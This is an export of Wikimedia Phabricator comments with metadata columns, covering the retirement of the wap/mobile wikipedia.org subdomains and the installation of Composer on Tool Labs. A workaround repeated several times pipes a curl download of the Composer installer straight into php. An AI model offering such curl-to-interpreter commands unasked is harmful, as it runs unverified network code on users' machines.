+https://lists.wikimedia.org/pipermail/wikitech-l/2015-July/082408.html
+
+https://lists.wikimedia.org/pipermail/mobile-l/2015-July/009453.html",,,1437050469,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+492302,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,A glance at the User-Agent values suggests the domains are commonly being visited by devices supporting HTML instead of WML. I think people are just coming from links from other sites. We deprecated WML sometime back. I'll email mobile-l and wikitech-l to see if anyone knows of a reason to keep the domains.,,,1437049745,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,2,True,0,1,0,1,0,1,0,0,0,1,1,1,0,0,0,1,0,1,1,1,1,0,0,0,1,1,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,1,0,1,0,0,0
+492046,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,cool -- I'll defer to the expertise of Adam and Joaquin on this.,,,1437001179,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+492020,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"It shouldn't be a matter of any real effort.  As far as I know, both of these subdomains were already deprecated years ago and aren't advertised or linked anywhere.  Traffic stats are fairly low, probably from organic discovery of them, but can't be sure.  @Chmarkine gave links and google stats on that earlier in the ticket, and I posted up some numbers from @faidon's stats on our terminators as well.
+
+Mostly, we're just trying to get confirmation of dis-use before we pull them, so that we don't find out the Hard Way that there was still some obscure need for these somewhere.
+",,,1436999435,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,1,1,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,1,1,0,0,1,0,0,1,0,0,0,1,1,1,0,0,0,0,0,0,0,1,1,1,0,1,0,0,0,1,0,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,0,0,1,1,1,1,0,0
+492017,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"@Jhernandez, @dr0ptp4kt -- what's the level of effort for Reading here? ",,,1436999230,,PHID-USER-ud7f5gp5h3uqup6viq4e,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,1,1,0,1,0,0,1,0,0,1,0,0,0
+491956,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,@dr0ptp4kt thanks :),,,1436991444,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,1,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1
+491951,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,I added Reading web engineers to the patch and will add them to this ticket as well in case they have any concerns.,,,1436990347,,PHID-USER-srhlj2447vmpmrfhqnfa,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,1,True,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+489701,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"Change 223972 had a related patch set uploaded (by BBlack):
+Remove wap and mobile subdomains
+
+[[https://gerrit.wikimedia.org/r/223972]]
+",,,1436479902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,False,,,1,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+488357,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"We're already sending rel=canonical to the desktop sites from both of them as well, like we do for `.m.`.  The traffic logs look similar to other stuff we've killed recently - not statistically significant, but it is there.  My inclination is to dump them.  From the per-domain-count list, vs 17425538 for en.m.wikipedia.org and 98696288 for en.wikipedia.org:
+```
+lines=10
+$ egrep '\.(wap|mobile)\.' per-domain-count
+  17587 ""en.mobile.wikipedia.org""
+   6199 ""zh.wap.wikipedia.org""
+   3845 ""zh.mobile.wikipedia.org""
+   2790 ""ru.mobile.wikipedia.org""
+   2679 ""en.wap.wikipedia.org""
+   1874 ""fr.wap.wikipedia.org""
+   1380 ""de.mobile.wikipedia.org""
+   1308 ""fr.mobile.wikipedia.org""
+    974 ""ru.wap.wikipedia.org""
+    937 ""de.wap.wikipedia.org""
+    759 ""it.wap.wikipedia.org""
+    661 ""pt.mobile.wikipedia.org""
+    517 ""ja.mobile.wikipedia.org""
+    458 ""it.mobile.wikipedia.org""
+    444 ""vi.wap.wikipedia.org""
+    417 ""es.wap.wikipedia.org""
+    341 ""fa.mobile.wikipedia.org""
+    300 ""nl.mobile.wikipedia.org""
+    300 ""ar.mobile.wikipedia.org""
+    280 ""hu.mobile.wikipedia.org""
+    278 ""es.mobile.wikipedia.org""
+    274 ""cs.mobile.wikipedia.org""
+    263 ""no.mobile.wikipedia.org""
+    262 ""fi.wap.wikipedia.org""
+    234 ""id.wap.wikipedia.org""
+    225 ""th.mobile.wikipedia.org""
+    195 ""cs.wap.wikipedia.org""
+    174 ""sr.mobile.wikipedia.org""
+    155 ""oc.mobile.wikipedia.org""
+    142 ""ms.mobile.wikipedia.org""
+    137 ""ru.m.mobile.wikipedia.org""
+    136 ""id.mobile.wikipedia.org""
+    131 ""sv.mobile.wikipedia.org""
+    130 ""pl.wap.wikipedia.org""
+    129 ""sr.wap.wikipedia.org""
+    126 ""el.wap.wikipedia.org""
+    119 ""vi.mobile.wikipedia.org""
+    108 ""he.mobile.wikipedia.org""
+    104 ""tr.mobile.wikipedia.org""
+     93 ""pl.mobile.wikipedia.org""
+     85 ""he.wap.wikipedia.org""
+     81 ""fa.wap.wikipedia.org""
+     57 ""bg.wap.wikipedia.org""
+     57 ""ba.wap.wikipedia.org""
+     52 ""af.wap.wikipedia.org""
+     48 ""zh-yue.mobile.wikipedia.org""
+     47 ""ta.mobile.wikipedia.org""
+     43 ""mg.mobile.wikipedia.org""
+     42 ""ba.mobile.wikipedia.org""
+     38 ""bg.mobile.wikipedia.org""
+     36 ""ka.mobile.wikipedia.org""
+     32 ""el.mobile.wikipedia.org""
+     31 ""te.mobile.wikipedia.org""
+     30 ""eu.wap.wikipedia.org""
+     30 ""eu.mobile.wikipedia.org""
+     26 ""fi.mobile.wikipedia.org""
+     24 ""nv.mobile.wikipedia.org""
+     23 ""se.mobile.wikipedia.org""
+     19 ""no.wap.wikipedia.org""
+     18 ""zh-yue.wap.wikipedia.org""
+     18 ""ka.wap.wikipedia.org""
+     17 ""se.wap.wikipedia.org""
+     15 ""ia.mobile.wikipedia.org""
+     13 ""ksh.mobile.wikipedia.org""
+     11 ""ug.mobile.wikipedia.org""
+     10 ""ia.wap.wikipedia.org""
+      9 ""roa-tara.mobile.wikipedia.org""
+      9 ""am.wap.wikipedia.org""
+      7 ""am.mobile.wikipedia.org""
+      5 ""is.mobile.wikipedia.org""
+      5 ""arc.mobile.wikipedia.org""
+      3 ""mi.mobile.wikipedia.org""
+      3 ""kl.mobile.wikipedia.org""
+      2 ""www.fr.mobile.wikipedia.org""
+      2 ""pms.mobile.wikipedia.org""
+      2 ""arc.wap.wikipedia.org""
+      1 ""zh.wap.wikipedia.org:443""
+      1 ""za.wap.wikipedia.org""
+      1 ""www.zh.wap.wikipedia.org""
+      1 ""www.zh.mobile.wikipedia.org""
+      1 ""www.pnt.mobile.wikipedia.org""
+      1 ""www.nds-nl.mobile.wikipedia.org""
+      1 ""www.jp.wap.wikipedia.org""
+      1 ""www.epo.wap.wikipedia.org""
+      1 ""www.en.mobile.wikipedia.org""
+      1 ""www.dk.mobile.wikipedia.org""
+      1 ""uploa0000000000000000000000000000000000000000l,application/vnd.wap.xhtml+xml,application/xhtml+xml, image/vnd.wap.wbmp, image00000000000000000000e/jpeg, image/png, i00000000000000000000*/*;q=0.1""
+      1 ""ug.wap.wikipedia.org""
+      1 ""static.mobile.espn.go.com""
+      1 ""ko.mobile.wikipedia.org""
+      1 ""kl.wap.wikipedia.org""
+      1 ""ig.wap.wikipedia.org""
+      1 ""bat-smg.mobile.wikipedia.org""
+      1 ""bar.wap.wikipedia.org""
+      1 ""ab.mobile.wikipedia.com""
+      1 ""aa.wap.wikipedia.org""
+```
+",,,1436311015,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1
+488356,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"We're already sending rel=canonical to the desktop sites from both of them as well, like we do for `.m.`.  The traffic logs look similar to other stuff we've killed recently - not statistically signification, but it is there.  My inclination is to dump them.  From the per-domain-count list, vs 17425538 for en.m.wikipedia.org and 98696288 for en.wikipedia.org:
+```
+lines=10
+$ egrep '\.(wap|mobile)\.' per-domain-count
+  17587 ""en.mobile.wikipedia.org""
+   6199 ""zh.wap.wikipedia.org""
+   3845 ""zh.mobile.wikipedia.org""
+   2790 ""ru.mobile.wikipedia.org""
+   2679 ""en.wap.wikipedia.org""
+   1874 ""fr.wap.wikipedia.org""
+   1380 ""de.mobile.wikipedia.org""
+   1308 ""fr.mobile.wikipedia.org""
+    974 ""ru.wap.wikipedia.org""
+    937 ""de.wap.wikipedia.org""
+    759 ""it.wap.wikipedia.org""
+    661 ""pt.mobile.wikipedia.org""
+    517 ""ja.mobile.wikipedia.org""
+    458 ""it.mobile.wikipedia.org""
+    444 ""vi.wap.wikipedia.org""
+    417 ""es.wap.wikipedia.org""
+    341 ""fa.mobile.wikipedia.org""
+    300 ""nl.mobile.wikipedia.org""
+    300 ""ar.mobile.wikipedia.org""
+    280 ""hu.mobile.wikipedia.org""
+    278 ""es.mobile.wikipedia.org""
+    274 ""cs.mobile.wikipedia.org""
+    263 ""no.mobile.wikipedia.org""
+    262 ""fi.wap.wikipedia.org""
+    234 ""id.wap.wikipedia.org""
+    225 ""th.mobile.wikipedia.org""
+    195 ""cs.wap.wikipedia.org""
+    174 ""sr.mobile.wikipedia.org""
+    155 ""oc.mobile.wikipedia.org""
+    142 ""ms.mobile.wikipedia.org""
+    137 ""ru.m.mobile.wikipedia.org""
+    136 ""id.mobile.wikipedia.org""
+    131 ""sv.mobile.wikipedia.org""
+    130 ""pl.wap.wikipedia.org""
+    129 ""sr.wap.wikipedia.org""
+    126 ""el.wap.wikipedia.org""
+    119 ""vi.mobile.wikipedia.org""
+    108 ""he.mobile.wikipedia.org""
+    104 ""tr.mobile.wikipedia.org""
+     93 ""pl.mobile.wikipedia.org""
+     85 ""he.wap.wikipedia.org""
+     81 ""fa.wap.wikipedia.org""
+     57 ""bg.wap.wikipedia.org""
+     57 ""ba.wap.wikipedia.org""
+     52 ""af.wap.wikipedia.org""
+     48 ""zh-yue.mobile.wikipedia.org""
+     47 ""ta.mobile.wikipedia.org""
+     43 ""mg.mobile.wikipedia.org""
+     42 ""ba.mobile.wikipedia.org""
+     38 ""bg.mobile.wikipedia.org""
+     36 ""ka.mobile.wikipedia.org""
+     32 ""el.mobile.wikipedia.org""
+     31 ""te.mobile.wikipedia.org""
+     30 ""eu.wap.wikipedia.org""
+     30 ""eu.mobile.wikipedia.org""
+     26 ""fi.mobile.wikipedia.org""
+     24 ""nv.mobile.wikipedia.org""
+     23 ""se.mobile.wikipedia.org""
+     19 ""no.wap.wikipedia.org""
+     18 ""zh-yue.wap.wikipedia.org""
+     18 ""ka.wap.wikipedia.org""
+     17 ""se.wap.wikipedia.org""
+     15 ""ia.mobile.wikipedia.org""
+     13 ""ksh.mobile.wikipedia.org""
+     11 ""ug.mobile.wikipedia.org""
+     10 ""ia.wap.wikipedia.org""
+      9 ""roa-tara.mobile.wikipedia.org""
+      9 ""am.wap.wikipedia.org""
+      7 ""am.mobile.wikipedia.org""
+      5 ""is.mobile.wikipedia.org""
+      5 ""arc.mobile.wikipedia.org""
+      3 ""mi.mobile.wikipedia.org""
+      3 ""kl.mobile.wikipedia.org""
+      2 ""www.fr.mobile.wikipedia.org""
+      2 ""pms.mobile.wikipedia.org""
+      2 ""arc.wap.wikipedia.org""
+      1 ""zh.wap.wikipedia.org:443""
+      1 ""za.wap.wikipedia.org""
+      1 ""www.zh.wap.wikipedia.org""
+      1 ""www.zh.mobile.wikipedia.org""
+      1 ""www.pnt.mobile.wikipedia.org""
+      1 ""www.nds-nl.mobile.wikipedia.org""
+      1 ""www.jp.wap.wikipedia.org""
+      1 ""www.epo.wap.wikipedia.org""
+      1 ""www.en.mobile.wikipedia.org""
+      1 ""www.dk.mobile.wikipedia.org""
+      1 ""uploa0000000000000000000000000000000000000000l,application/vnd.wap.xhtml+xml,application/xhtml+xml, image/vnd.wap.wbmp, image00000000000000000000e/jpeg, image/png, i00000000000000000000*/*;q=0.1""
+      1 ""ug.wap.wikipedia.org""
+      1 ""static.mobile.espn.go.com""
+      1 ""ko.mobile.wikipedia.org""
+      1 ""kl.wap.wikipedia.org""
+      1 ""ig.wap.wikipedia.org""
+      1 ""bat-smg.mobile.wikipedia.org""
+      1 ""bar.wap.wikipedia.org""
+      1 ""ab.mobile.wikipedia.com""
+      1 ""aa.wap.wikipedia.org""
+```
+",,,1436310997,,PHID-USER-lhtlnmkdbzlz6pbxaqdd,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,0,0,0,1,1,0,0,1
+487765,TLS and *.wap/*.mobile multi-level subdomains of wikipedia.org,"How many requests to these domains there are in the log? `*.wap` was [[ https://phabricator.wikimedia.org/T18692 | deprecated ]] in early 2009, and `*.mobile` was [[ https://phabricator.wikimedia.org/T26397 | deprecated ]] in late 2011. Google has [[ https://www.google.com/?gws_rd=ssl#newwindow=1&q=site:www.*.wikipedia.org | 39,300 results ]] for `site:*.mobile.wikipedia.org`, which is fewer than the [[ https://www.google.com/?gws_rd=ssl#newwindow=1&q=site:www.*.wikipedia.org | 96,700 results]] for `site:www.*.wikipedia.org`. I think it is fine to delete them from DNS.",,,1436256233,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-ocjkiluccjqpet6e2edi,task_subcomment,,True,c3,3,True,,,0,True,1,0,0,0,0,1,1,0,0,0,1,0,0,0,1,1,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,1,0,0,1,1,1,0,1,0,1,0,1
+104789,Install composer on tools-login,"This makes installation of web services written in PHP a lot easier since right now one can't do ""git clone .."" followed by ""composer install"".
+
+""npm"", for example, is installed. Would be nice to have composer as well.",Medium,50.0,1436077644,1444853289.0,PHID-USER-sai77mtxmpqnm6pycyvz,False,PHID-USER-muirnivxp5hzppn2a3z7,False,PHID-TASK-mib56lmwmjd226wmav6y,task_description,resolved,True,c3,3,True,False,False,0,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,0,0,1,1,0,1,0,1,1,1,0,0,0,0,1,0,1,0,0,1,0,0,0,1,0,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,0,1,0,0,1,0,0
+546534,Install composer on tools-login,"```
+Notice: /Stage[main]/Toollabs::Composer/File[/srv/composer]/ensure: created
+Notice: /Stage[main]/Toollabs::Composer/Git::Clone[composer]/Exec[git_clone_composer]/returns: executed successfully
+Notice: /Stage[main]/Toollabs::Composer/File[/usr/local/bin/composer]/ensure: created
+```
+
+```
+valhallasw@tools-bastion-01:~$ composer --version
+Composer version @package_branch_alias_version@ (@package_version@) @release_date@
+```
+
+uuuuh. According to the git log it's version `1.0.0-alpha10`.",,,1444853289,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,14,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,1,0,0,1,1,0,0,0,0,1,0,0,1
+546525,Install composer on tools-login,"Change 246072 merged by Yuvipanda:
+toollabs: add composer to dev hosts
+
+[[https://gerrit.wikimedia.org/r/246072]]",,,1444853023,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+545862,Install composer on tools-login,"Change 246072 had a related patch set uploaded (by Merlijn van Deen):
+toollabs: add composer to dev hosts
+
+[[https://gerrit.wikimedia.org/r/246072]]
+",,,1444767371,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,False,,,14,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+535602,Install composer on tools-login,Let's just do the git checkout + symlink option via puppet? We can make it a composer::install class or something and include it in both tools and integration,,,1443230068,,PHID-USER-2nnm76h4ykalvvref2ye,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,12,True,0,1,0,0,0,1,0,0,0,0,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,1,0,0,1,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,1,0,0,0,0,0
+534088,Install composer on tools-login,"A few things I tried.
+
+ - building an fpm package from the integration/composer repo works: https://gerrit.wikimedia.org/r/#/c/240451/
+  - but might not be an improvement over just using git co, unless we can automate it
+
+ - backporting is more of an issue
+
+Backporting log for @hashar:
+ - sudo apt-get install devscripts debian-keyring equivs
+
+jsonlint:
+ - dget -x http://http.debian.net/debian/pool/main/j/jsonlint/jsonlint_1.3.1-2.dsc
+ - cd jsonlint
+ - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
+ - sudo mk-build-deps --install --remove  # installs lots of stuff
+
+after hacking the debian/rules, changing the version parsing to 
+  | sed 's/.*(//' | sed 's/).*//')
+  
+- fakeroot debian/rules binary
+
+works, but 
+
+- dpkg-buildpackage -us -uc
+
+fails
+
+- After rm bin/jsonlint-php, I can build (but of course not sign). But lintian jsonlint_1.3.1-2~toollabs1+1_all.deb passes! Good.
+
+(this is after ca. 50 minutes of fiddling...)
+
+php-cli-prompt:
+
+- dget -x http://http.debian.net/debian/pool/main/p/php-cli-prompt/php-cli-prompt_1.0.0+dfsg-1.dsc
+ - cd php-cli-prompt_..etc
+ - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
+ - debuild
+
+worked immediately.
+
+json-schema: same sed issue, but works with the same hack
+
+composer:
+ - dget -x http://http.debian.net/debian/pool/main/c/composer/composer_1.0.0~alpha10+20150602-1.dsc
+ - dch --local ~toollabs+ --distribution jessie-toollabs ""Backport""
+ - build requires jsonlint, fun fun fun.
+ - sudo mk-build-deps --install --remove doesn't seem to work at all?
+   - manually installing seems to work
+ - but it requires php-symfony-console >= 2.4 and jessie bundles 2.3, so we have to backport and install those as well?
+
+This took me > 1 hour, so I gave up at this point.",,,1443087883,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,12,True,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0,1,0,0,0,1,0,1,1,1,1,0,0,1,0,0,1,0,0,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,1,0,1,1,0,1
+533029,Install composer on tools-login,"After discussing with @joe and @hashar:
+
+ - backporting the package to precise and trusty is probably difficult.
+ - to solve the issue on the integration cluster, https://github.com/wikimedia/integration-composer is used (git checkout, then use /srv/deployment/integration/composer/vendor/bin/composer)
+
+We could use the latter method for tool labs as well. See https://github.com/wikimedia/operations-puppet/blob/00c433345214115e5a5b05eb6d83eedabfbf7110/modules/contint/manifests/slave-scripts.pp#L29 and https://github.com/wikimedia/operations-puppet/blob/acacf97e2df962fef83487a461f3559fa07e4d6f/modules/extdist/manifests/init.pp#L74 for current usage. ",,,1442999775,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,11,True,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,0,0
+526021,Install composer on tools-login,"Work around:
+
+```lang=sh
+$ ssh tools-login
+$ become mytool
+# https://getcomposer.org/download/
+$ mkdir bin
+$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
+# Now installed in ~/bin/composer
+# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
+$ which composer
+# /data/project/:tool/bin/composer
+```
+
+Now composer is available to e.g.
+
+```lang=sh
+(mytool at tools-login in ~)$ cd my-repo
+(mytool at tools-login in ~/my-repo)$ composer install --no-dev
+```
+",,,1442094127,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,10,True,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,1,1,0,1,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+522326,Install composer on tools-login,"Work around:
+
+```lang=sh
+$ ssh tools-login
+$ become mytool
+# https://getcomposer.org/download/
+$ mkdir bin
+$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
+# Now installed in ~/bin/composer
+# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
+$ which composer
+# /data/project/:tool/bin/composer
+```
+
+Now composer is available to e.g.
+
+```lang=sh
+(tool on tools-login)$ cd my-repo
+(tool on tools-login)$ composer install --no-dev
+```
+",,,1441668524,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,1,0,0,1,1,0,1,0,0,0,0,1,1,0,1,0,0,1,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+522325,Install composer on tools-login,"Work around:
+
+```lang=sh
+$ ssh tools-login
+$ become mytool
+# https://getcomposer.org/download/
+$ mkdir bin
+$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
+# Now installed in ~/bin/composer
+# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
+$ which composer
+# /data/project/:tool/bin/composer
+```",,,1441668466,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+522324,Install composer on tools-login,"Work-around:
+```lang=sh
+$ ssh tools-login
+$ become mytool
+# https://getcomposer.org/download/
+$ mkdir bin
+$ curl -sS https://getcomposer.org/installer | php -- --install-dir=bin --filename=composer
+# Now installed in ~/bin/composer
+# Make sure your bash PATH includes ""$HOME/bin"". Set in .bashrc if needed.
+$ which composer
+# /data/project/:tool/bin/composer",,,1441668458,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,9,True,0,0,0,0,0,1,0,0,0,1,1,1,0,0,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,0,1,1,1,0,1,0,1,1,1,0,0,0,0,0,1
+486708,Install composer on tools-login,There's a package in debian-unstable: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=714118,,,1436094239,,PHID-USER-muirnivxp5hzppn2a3z7,False,,,PHID-TASK-mib56lmwmjd226wmav6y,task_subcomment,,True,c3,3,True,,,0,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0
